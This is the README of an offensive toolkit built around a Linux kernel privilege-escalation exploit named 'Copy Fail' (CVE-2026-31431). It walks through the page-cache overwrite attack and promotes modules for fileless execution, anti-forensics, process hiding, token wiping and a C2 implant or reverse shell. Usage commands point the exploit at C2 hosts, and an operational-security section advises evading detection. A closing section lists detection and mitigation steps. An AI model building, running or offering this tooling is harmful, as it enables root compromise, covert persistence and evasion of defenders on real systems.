Copy Fail -- CVE-2026-31431
Hardened C implementation for redteam and authorized penetration testing operations.
⚠️ Legal Notice: This tool is intended solely for authorized security research, authorized penetration testing, and defensive analysis. Use on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.
🚀 Primary development moved to GitLab.
This repository is actively maintained here. For issues and contributions, please use GitLab.
Table of Contents
Overview
This project is a hardened, production-ready C port of the CVE-2026-31431 ("Copy Fail") local privilege escalation exploit, originally disclosed by Theori and Xint on April 29, 2026.
The original proof-of-concept was written in Python and designed for research demonstration. This implementation transforms it into a redteam-grade toolkit with:
- Zero disk artifacts (memfd-based fileless execution)
- Automatic target discovery (setuid binary enumeration with MAC awareness)
- Anti-forensics (cache dropping, timestamp restoration, self-destruction)
- Operator control (signal-triggered execution with configurable timeouts)
- Cross-platform static builds (x86_64, ARM64, RISC-V via musl/zig)
Original Research
CVE-2026-31431: Copy Fail
Vulnerability Mechanism
The vulnerability resides in the Linux kernel's AF_ALG crypto subsystem. The authencesn AEAD template implements an in-place optimization for decryption: when ciphertext is supplied via splice() from a file's page cache, the kernel reuses the same page as both source and destination.
The attack flow:
- Open a setuid binary (e.g.,
/usr/bin/su) read-only
- Set up an
authencesn(hmac(sha256),cbc(aes)) AEAD operation via AF_ALG
- Supply ciphertext via
splice() from the target file's page cache
- The (failing) decrypt operation overwrites 4 bytes of the page cache page before authentication rejects it
- Repeat for each 4-byte window of the payload
execve() the target -- the kernel loads mutated pages from cache, grants setuid-root creds
- Payload pivots to full root shell
Key insight: The on-disk inode is never modified. Only the in-memory page cache is mutated, making forensic detection significantly harder than traditional file overwrite exploits.
Our Improvements
This project extends the original research with redteam-oriented hardening across nine modules.
1. Hardened Exploit Primitive (patch_chunk.c)
2. Automatic Target Discovery (target_discovery.c)
- Three-phase scanning: priority targets → standard dirs → deep scan
- MAC-aware scoring: penalizes binaries with AppArmor/SELinux profiles
- 18 priority targets:
su, sudo, passwd, pkexec, mount, ping, etc.
- Fallback chain: if primary target fails, auto-selects next best candidate
- Snap awareness: skips
/snap (non-traditional setuid)
3. Anti-Forensics Suite (anti_forensics.c)
4. Fileless Execution (memfd_exec.c)
- memfd_create + fexecve: execute without filesystem path
- Cloaking: memfd named as
kworker, anon_inode, eventfd (blends in /proc/$pid/fd/)
- Fork-and-forget: double-fork to create orphan process (PPID=1)
- In-memory decryption: XOR and RC4 decrypt-then-exec (payload never plaintext on disk)
5. Stage-1 Payload Delivery (stage1.c)
6. Stage-2 C2 Implant (stage2_template.c)
- Resilient reconnect loop with exponential backoff
- Three distributions: uniform, triangular, exponential jitter
- Signal control:
SIGUSR1 (trigger), SIGUSR2 (status), SIGTERM (shutdown)
- DNS beaconing: stealthy C2 health check before TCP connect
- Process masquerade:
[kworker/N:0] in ps/top
7. Process Hiding (proc_hide.c)
- argv[0] overwrite: in-place replacement of
/proc/$pid/cmdline
- prctl(PR_SET_NAME): kernel thread-style names (16-byte limit)
- Environment sanitization: selective wipe of
SSH_*, AWS_*, TOKEN*, etc.
- Parent detachment:
setsid() + setpgid() for terminal independence
8. Signal Trigger Control (signal_trigger.c)
| Mode | Behavior | Use Case |
|---|
trigger_oneshot() | Sleep → trigger → execute → exit |
Zero-CPU waiting: sigsuspend() instead of polling loops.
9. Sleep Jitter (sleep_jitter.c)
- Three RNG backends:
getrandom(2), /dev/urandom, rdtsc fallback
- Rejection sampling: eliminates modulo bias in uniform distribution
- Drift compensation:
sleep_scheduled() maintains average interval despite jitter
- Sandbox detection:
check_sandbox_acceleration() detects patched sleep()
Architecture
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │
│ │ Process │ │ Target │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Build
Requirements
- GCC or Clang
- GNU Make
- Linux headers (
linux-libc-dev or equivalent)
- Optional:
musl-tools (for tiny static builds)
- Optional:
zig (for modern cross-compilation)
- Optional:
dpkg-deb (for Debian packaging)
Quick Start
# Standard redteam build (optimized, stripped, static)
make redteam
# Pentest build (symbols, moderate optimization)
make pentest
# Debug build (ASAN, full symbols)
make debug
# Vulnerability checker (non-destructive)
make checker
Cross-Compilation
# ARM64 (AWS/Azure cloud targets)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (embedded/IoT)
make cross-armhf
# Zig cross-compile (no toolchain installation)
make cross-zig-arm64
make cross-zig-riscv
musl Static Build (Tiny Binaries)
make musl-static
# Produces ~50-100 KB static binaries with zero glibc dependency
Debian Package
make deb VERSION=1.0.0
# Produces: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
Build Info
make info
# Shows: CC, CFLAGS, LDFLAGS, architecture, toolchain availability
Usage
Standard Mode (Signal-Triggered)
# Deploy implant
./exploit &
IMP_PID=$!
# Trigger exploitation remotely
kill -USR1 $IMP_PID
# Request status (no action)
kill -USR2 $IMP_PID
# Graceful shutdown
kill -TERM $IMP_PID
./exploit -t # Trigger now, no signal wait
./exploit -t -c c2.example.com -p 9999
Custom Configuration
./exploit \
-c c2.redteam.internal \ # C2 hostname
-p 4444 \ # C2 port
-d 300 \ # 5-minute initial delay
-T 7200 \ # 2-hour trigger timeout
-n # Skip vulnerability verification
Non-Destructive Vulnerability Check
./vulnerable
# Exit code: 100 = vulnerable, 0 = patched, other = error
Modules
Operational Security
Redteam Best Practices
- Deploy during low-activity periods to minimize correlation
- Use exponential jitter for reconnect intervals (evades beaconing detection)
- Trigger via SIGUSR1 rather than auto-trigger (operator maintains control)
- Always run cleanup (
full_cleanup) even if exploit fails
- Prefer memfd execution over disk-based payloads
- Double-fork for persistence (
memfd_fork_exec_detach)
- Monitor for sandbox acceleration before executing
Forensic Artifacts
Detection & Mitigation
Defensive Detection
Mitigations
- Kernel patch: Upgrade to Linux >= 6.14 with commit
a664bf3d603d
- Livepatch: Apply distro-specific backport
- SELinux/AppArmor: Enforce profiles on setuid binaries
- eBPF monitoring: Trace
AF_ALG + splice() combinations
- Page cache verification: Periodic integrity checks on critical binaries
Credits
Original Research
Baseline C Port
- Tony Gies --
tgies/copy-fail-c
- Provided the foundational C implementation using
nolibc
- Cross-platform syscall wrappers and build infrastructure
This Hardened Fork
- Redteam-oriented hardening across 9 modules
- Operational security features (anti-forensics, evasion, stealth)
- Cross-compilation support (musl, zig, multi-arch)
- Signal-based operator control and configurable execution modes
Acknowledgments
- Linux kernel developers for
memfd_create(2) and fexecve(3)
nolibc maintainers for header-only libc alternative
- musl libc project for tiny static binaries
- Zig project for modern cross-compilation toolchain
License
This project is dual-licensed under:
See individual source files for SPDX identifiers.
The original research and baseline C port remain under their respective licenses. This fork's additional code is provided under the above dual license for maximum compatibility with both open-source and commercial security research use cases.
Disclaimer
This software is provided for authorized security research and authorized penetration testing only. The authors assume no liability for misuse or damage caused by this software. Always obtain proper authorization before testing any system you do not own.
If you discover this vulnerability on your systems:
- Apply the kernel patch (commit
a664bf3d603d or distro backport)
- Monitor for indicators of compromise (IoCs) listed above
- Review
/var/log/audit/ and EDR telemetry for AF_ALG anomalies